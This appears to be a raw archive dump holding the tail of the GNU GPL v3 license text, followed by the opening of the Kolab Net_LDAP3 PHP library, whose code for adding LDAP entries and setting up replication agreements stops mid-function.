work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
PK
h�\8*���(vendor/kolab/net_ldap3/lib/Net/LDAP3.phpnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Net/LDAP3.php                                                         |
 |                                                                       |
 | Based on code created by the Roundcube Webmail team.                  |
 |                                                                       |
 | Copyright (C) 2006-2014, The Roundcube Dev Team                       |
 | Copyright (C) 2012-2014, Kolab Systems AG                             |
 |                                                                       |
 | This program is free software: you can redistribute it and/or modify  |
 | it under the terms of the GNU General Public License as published by  |
 | the Free Software Foundation, either version 3 of the License, or     |
 | (at your option) any later version.                                   |
 |                                                                       |
 | This program is distributed in the hope that it will be useful,       |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of        |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the          |
 | GNU General Public License for more details.                          |
 |                                                                       |
 | You should have received a copy of the GNU General Public License     |
 | along with this program.  If not, see <http://www.gnu.org/licenses/>. |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide advanced functionality for accessing LDAP directories       |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Authors: Thomas Bruederli <roundcube@gmail.com>                       |
 |          Aleksander Machniak <machniak@kolabsys.com>                  |
 |          Jeroen van Meeuwen <vanmeeuwen@kolabsys.com>                 |
 +-----------------------------------------------------------------------+
*/

require_once __DIR__ . '/LDAP3/Result.php';

/**
 * Model class to access a LDAP directories
 *
 * @package Net_LDAP3
 */
class Net_LDAP3
{
    const CONTROL_EFFECTIVE_RIGHTS = '1.3.6.1.4.1.42.2.27.9.5.2';
    const CONTROL_SORT_REQUEST     = '1.2.840.113556.1.4.473';
    const CONTROL_VLV_REQUEST      = '2.16.840.1.113730.3.4.9';
    const CONTROL_VLV_RESPONSE     = '2.16.840.1.113730.3.4.10';

    public $conn;
    public $vlv_active = false;

    private $attribute_level_rights_map = [
        'r' => 'read',
        's' => 'search',
        'w' => 'write',
        'o' => 'delete',
        'c' => 'compare',
        'W' => 'write',
        'O' => 'delete'
    ];

    private $entry_level_rights_map = [
        'a' => 'add',
        'd' => 'delete',
        'n' => 'modrdn',
        'v' => 'read'
    ];

    /*
     * Manipulate configuration through the config_set and config_get methods.
     * Available options:
     *       'debug'           => false,
     *       'hosts'           => array(),
     *       'port'            => 389,
     *       'use_tls'         => false,
     *       'ldap_version'    => 3,        // using LDAPv3
     *       'auth_method'     => '',       // SASL authentication method (for proxy auth), e.g. DIGEST-MD5
     *       'gssapi_cn'       => null      // Kerberos cache name (KRB5CCNAME) for SASL GSSAPI authentication
     *       'numsub_filter'   => '(objectClass=organizationalUnit)', // with VLV, we also use numSubOrdinates to query the total number of records. Set this filter to get all numSubOrdinates attributes for counting
     *       'referrals'       => false,    // Sets the LDAP_OPT_REFERRALS option. Mostly used in multi-domain Active Directory setups
     *       'network_timeout' => 10,       // The timeout (in seconds) for connect + bind arrempts. This is only supported in PHP >= 5.3.0 with OpenLDAP 2.x
     *       'sizelimit'       => 0,        // Enables you to limit the count of entries fetched. Setting this to 0 means no limit.
     *       'timelimit'       => 0,        // Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.
     *       'vlv'             => false,    // force VLV off
     *       'config_root_dn'  => 'cn=config',  // Root DN to read config (e.g. vlv indexes) from
     *       'service_bind_dn' => 'uid=kolab-service,ou=Special Users,dc=example,dc=org',
     *       'service_bind_pw' => 'Welcome2KolabSystems',
     *       'root_dn'         => 'dc=example,dc=org',
     */
    protected $config = [
        'sizelimit'      => 0,
        'timelimit'      => 0,
        'config_root_dn' => 'cn=config',
        'vlv'            => null,
    ];

    protected $debug_level = false;
    protected $list_page   = 1;
    protected $page_size   = 10;
    protected $icache      = [];
    protected $cache;

    // Use public method config_set('log_hook', $callback) to have $callback be
    // call_user_func'ed instead of the local log functions.
    protected $_log_hook;

    // Use public method config_set('config_get_hook', $callback) to have
    // $callback be call_user_func'ed instead of the local config_get function.
    protected $_config_get_hook;

    // Use public method config_set('config_set_hook', $callback) to have
    // $callback be call_user_func'ed instead of the local config_set function.
    protected $_config_set_hook;

    // Not Yet Implemented
    // Intended to allow hooking in for the purpose of caching.
    protected $_result_hook;

    // Runtime. These are not the variables you're looking for.
    protected $_current_bind_dn;
    protected $_current_bind_pw;
    protected $_current_host;
    protected $_metadata;
    protected $_vlv_indexes_and_searches;


    /**
     * Constructor
     *
     * @param array $config Configuration parameters. After initialization use
     *                      the config_set() method.
     */
    public function __construct($config = [])
    {
        if (!empty($config) && is_array($config)) {
            foreach ($config as $key => $value) {
                $setter = 'config_set_' . $key;
                if (method_exists($this, $setter)) {
                    $this->$setter($value);
                }
                else if (isset($this->$key)) {
                    $this->$key = $value;
                }
                else {
                    $this->config[$key] = $value;
                }
            }
        }
    }

    /**
     *  Add multiple entries to the directory information tree in one go.
     */
    public function add_entries($entries, $attributes = [])
    {
        // If $entries is an associative array, it's keys are DNs and its
        // values are the attributes for that DN.
        //
        // If $entries is a non-associative array, the attributes are expected
        // to be positional in $attributes.

        $result_set = [];

        if (array_keys($entries) == range(0, count($entries) - 1)) {
            // $entries is sequential
            if (count($entries) !== count($attributes)) {
                $this->_error("LDAP: Wrong entry/attribute count in " . __FUNCTION__);
                return false;
            }

            for ($i = 0; $i < count($entries); $i++) {
                $result_set[$i] = $this->add_entry($entries[$i], $attributes[$i]);
            }
        }
        else {
            // $entries is associative
            foreach ($entries as $entry_dn => $entry_attributes) {
                if (array_keys($attributes) !== range(0, count($attributes)-1)) {
                    // $attributes is associative as well, let's merge these
                    //
                    // $entry_attributes takes precedence, so is in the second
                    // position in array_merge()
                    $entry_attributes = array_merge($attributes, $entry_attributes);
                }

                $result_set[$entry_dn] = $this->add_entry($entry_dn, $entry_attributes);
            }
        }

        return $result_set;
    }

    /**
     * Add an entry to the directory information tree.
     */
    public function add_entry($entry_dn, $attributes)
    {
        // TODO:
        // - Get entry rdn attribute value from entry_dn and see if it exists in
        //   attributes -> issue warning if so (but not block the operation).
        $this->_debug("Entry DN", $entry_dn);
        $this->_debug("Attributes", $attributes);

        foreach ($attributes as $attr_name => $attr_value) {
            if (empty($attr_value)) {
                unset($attributes[$attr_name]);
            } else if (is_array($attr_value)) {
                $attributes[$attr_name] = array_values($attr_value);
            }
        }

        $this->_debug("C: Add $entry_dn: " . json_encode($attributes));

        if (!ldap_add($this->conn, $entry_dn, $attributes)) {
            $this->_debug("S: " . ldap_error($this->conn));
            $this->_warning("LDAP: Adding entry $entry_dn failed. " . ldap_error($this->conn));

            return false;
        }

        $this->_debug("S: OK");

        return true;
    }

    /**
     * Add replication agreements and initialize the consumer(s) for
     * $domain_root_dn.
     *
     * Searches the configured replicas for any of the current domain/config
     * databases, and uses this information to configure the additional
     * replication for the (new) domain database (at $domain_root_dn).
     *
     * Very specific to Netscape-based directory servers, and currently also
     * very specific to multi-master replication.
     */
    public function add_replication_agreements($domain_root_dn)
    {
        $replica_hosts = $this->list_replicas();

        if (empty($replica_hosts)) {
            return;
        }

        $result = $this->search($this->config_get('config_root_dn'), "(&(objectclass=nsDS5Replica)(nsDS5ReplicaType=3))", "sub");

        if (!$result) {
            $this->_debug("No replication configuration found.");
            return;
        }

        // Preserve the number of replicated databases we have, because the replication ID
        // can be calculated from the number of databases replicated, and the number of
        // servers.
        $num_replica_dbs = $result->count();
        $replicas        = $result->entries(true);
        $max_replica_agreements = 0;

        foreach ($replicas as $replica_dn => $replica_attrs) {
            $result = $this->search($replica_dn, "(objectclass=nsDS5ReplicationAgreement)", "sub");
            if ($result) {
                if ($max_replica_agreements < $result->count()) {
                    $max_replica_agreements    = $result->count();
                    $max_replica_agreements_dn = $replica_dn;
                }
            }
        }

        $max_repl_id = $num_replica_dbs * count($replica_hosts);

        $this->_debug("The current maximum replication ID is $max_repl_id");
        $this->_debug("The current maximum number of replication agreements for any database is $max_replica_agreements (for $max_replica_agreements_dn)");
        $this->_debug("With " . count($replica_hosts) . " replicas, the next is " . ($max_repl_id + 1) . " and the last one is " . ($max_repl_id + count($replica_hosts)));

        // Then add the replication agreements
        foreach ($replica_hosts as $num => $replica_host) {
            $ldap = new Net_LDAP3($this->config);
            $ldap->config_set('hosts', [$replica_host]);
            $ldap->connect();
            $ldap->bind($this->_current_bind_dn, $this->_current_bind_pw);

            $attrs = [
                'nsDS5ReplicaBindDN',
                'nsDS5ReplicaType',
                'nsds5ReplicaPurgeDelay',
                'nsDS5Flags'
            ];

            $replica_attrs = $ldap->get_entry_attributes($replica_dn, $attrs);
            $replica_attrs = array_merge((array) $replica_attrs, [
                'cn' => 'replica',
                'objectclass' => [
                    'top',
                    'nsds5replica',
                    'extensibleobject',
                ],
                'nsDS5ReplicaId'   => $max_repl_id + $num + 1,
                'nsDS5ReplicaRoot' => $domain_root_dn,
            ]);

            $new_replica_dn = 'cn=replica,cn="' . $domain_root_dn . '",cn=mapping tree,cn=config';

            $this->_debug("Adding $new_replica_dn to $replica_host with attributes: " . var_export($replica_attrs, true));

            $result = $ldap->add_entry($new_replica_dn, $replica_attrs);

            if (!$result) {
                $this->_error("LDAP: Could not add replication configuration to database for $domain_root_dn on $replica_host");
                continue;
            }

            $result = $ldap->search($replica_dn, "(objectclass=nsDS5ReplicationAgreement)", "sub");

            if (!$result) {
                $this->_error("LDAP: Host $replica_host does not have any replication agreements");
                continue;
            }

            $entries = $result->entries(true);
            $replica_agreement_tpl_dn = key($entries);

            $this->_debug("Using " . var_export($replica_agreement_tpl_dn, true) . " as the template for new replication agreements");

            foreach ($replica_hosts as $replicate_to_host) {
                // Skip the current server
                if ($replicate_to_host == $replica_host) {
                    continue;
                }

                $this->_debug("Adding a replication agreement for $domain_root_dn to $replicate_to_host on " . $replica_host);

                $attrs = [
                    'objectclass',
                    'nsDS5ReplicaBindDN',
                    'nsDS5ReplicaCredentials',
                    'nsDS5ReplicaTransportInfo',
                    'nsDS5ReplicaBindMethod'
                ];

                list($host, $port) = strpos($replicate_to_host, ':') !== false ? explode(':', $replicate_to_host) : [$replicate_to_host, 389];

                $replica_agreement_attrs = $ldap->get_entry_attributes($replica_agreement_tpl_dn, $attrs);
                $replica_agreement_attrs['cn'] = array_shift(explode('.', $replicate_to_host)) . str_replace(['dc=', ','], ['_', ''], $domain_root_dn);
                $replica_agreement_attrs['nsDS5ReplicaRoot'] = $domain_root_dn;
                $replica_agreement_attrs['nsDS5ReplicaHost'] = $host;
                $replica_agreement_attrs['nsDS5ReplicaPort'] = $port;
                $replica_agreement_dn = "cn=" . $replica_agreement_attrs['cn'] . "," . $new_replica_dn;

                $this->_debug("Adding $replica_agreement_dn to $replica_host with attributes: " . var_export($replica_agreement_attrs, true));

                $result = $ldap->add_entry($replica_agreement_dn, $replica_agreement_attrs);

                if (!$result) {
                    $this->_error("LDAP: Failed adding $replica_agreement_dn");
                }
            }
        }

        $server_id = implode('', array_diff($replica_hosts, $this->_server_id_not));

        $this->_debug("About to trigger consumer initialization for replicas on current 'parent': $server_id");

        $result = $this->search($this->config_get('config_root_dn'), "(&(objectclass=nsDS5ReplicationAgreement)(nsds5replicaroot=$domain_root_dn))", "sub");

        if ($result) {
            foreach ($result->entries(true) as $agreement_dn => $agreement_attrs) {
                $this->modify_entry_attributes(
                    $agreement_dn,
                    [
                        'replace' => [
                            'nsds5BeginReplicaRefresh' => 'start',
                        ],
                    ]
                );
            }
        }
    }

    public function attribute_details($attributes = [])
    {
        $schema = $this->init_schema();

        if (!$schema) {
            return [];
        }

        $attribs = $schema->getAll('attributes');

        $attributes_details = [];

        foreach ($attributes as $attribute) {
            if (array_key_exists($attribute, $attribs)) {
                $attrib_details = $attribs[$attribute];

                if (!empty($attrib_details['sup'])) {
                    foreach ($attrib_details['sup'] as $super_attrib) {
                        $_attrib_details = $attribs[$super_attrib];
                        if (is_array($_attrib_details)) {
                            $attrib_details = array_merge($_attrib_details, $attrib_details);
                        }
                    }
                }
            }
            else if (array_key_exists(strtolower($attribute), $attribs)) {
                $attrib_details = $attribs[strtolower($attribute)];

                if (!empty($attrib_details['sup'])) {
                    foreach ($attrib_details['sup'] as $super_attrib) {
                        $_attrib_details = $attribs[$super_attrib];
                        if (is_array($_attrib_details)) {
                            $attrib_details = array_merge($_attrib_details, $attrib_details);
                        }
                    }
                }
            }
            else {
